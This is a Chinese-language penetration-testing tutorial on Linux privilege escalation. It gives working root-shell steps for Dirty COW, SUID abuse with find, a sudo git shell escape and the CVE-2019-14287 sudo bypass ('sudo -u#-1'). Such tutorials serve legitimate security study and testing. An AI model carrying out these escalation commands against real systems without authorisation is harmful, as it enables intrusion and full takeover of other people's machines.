Linux提權


0x00 前言

滲透測試過程中,拿到低權限shell后,要進一步操作往往需要進行提權。

0x01 常見Linux提權方法

  • 內核版本漏洞提權
  • SUID提權
  • git提權
  • sudo提權(CVE-2019-14287)

0x02 Linux提權前的信息收集

1.查看內核版本

uname -a

2.查看發行版本

cat /etc/issue
cat /etc/*-release

0x03 內核漏洞提權

1.臟牛漏洞提權

低權限用戶利用該漏洞技術可以在全版本上實現本地提權

漏洞利用條件:內核版本>=2.6.22

exp下載地址:https://github.com/FireFart/dirtycow

本地復現:

1.查看內核版本

2.將exp放到/tmp目錄下(tmp目錄權限較高)

 3.對dirty.c進行gcc編譯生成一個可執行文件

gcc -pthread dirty.c -o dirty -lcryp

4.運行dirty文件即可進行本地提取

./dirty passwd

幾分鍾后出現如下結果

 

 此時切換到firefart用戶,密碼為passwd

可以看到已經是root用戶

2.其他內核版本提權

在linux的內核版本不滿足臟牛提權的條件時,就需要查看其他版本的內核漏洞。在搜集了目標機器的內核版本后,可以使用searchsploit搜尋各種發行版本的漏洞。

查詢一個CentOS 7 內核版本為3.10的內核漏洞

searchspolit centos 7 kernel 3.10

隨后需要打開exp查看具體要求,選擇和合適的進行利用

最后將合適的exp放到靶機上編譯后執行

內核漏洞提權對內核版本、目標機器的環境要求較高(需要安裝gcc),所以成功率一般較低。

0x04 SUID提權

SUID(Set User ID):是一種特殊的文件屬性,允許用戶在指令執行時,擁有文件擁有者的權限

SUID提權:運行root用戶擁有的SUID文件,即可獲得root用戶權限

常見的可用於SUID提權的文件有

find、bash、nmap、vim、more、less、nano、cp 

一般拿到shell后,首先查找下具有root權限的SUID文件

find / -perm -u=s -type f 2>/dev/null

1.find提權

先看看find的權限

確實是root權限

隨后執行以下命令進行提權

touch test    //創建一個test文件
find test -exec '/bin/sh' \;

可以看到成功提升到root權限

0x05 git提權

首先查看可以無密碼使用root權限的命令

sudo -l    #查看可以使用root權限無密碼的命令

發現有git命令

執行命令進行提權

sudo git help config  #提權
!/bin/sh

成功切換到root權限

0x06 sudo提權(比較雞肋)

sudo提權是一個sudo安全策略繞過問題,可導致惡意用戶或程序在目標Linux系統上以root身份執行任意命令

使用sudo提權需要滿足兩個條件

1.執行sudo -V的到的版本<1.8.28

2.配置文件中需要有特定配置

配置文件/etc/sudoers中使用ALL關鍵詞

test ALL=(ALL,!root) ALL    //表示test用戶可以使用sudo命令,以除了root以外的任意身份去執行命令

切換到test用戶下執行命令

sudo -u#-1 id

將用戶ID轉換為用戶名的函數會將-1誤認為0,正好是root用戶的User ID

成功切換到root用戶

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM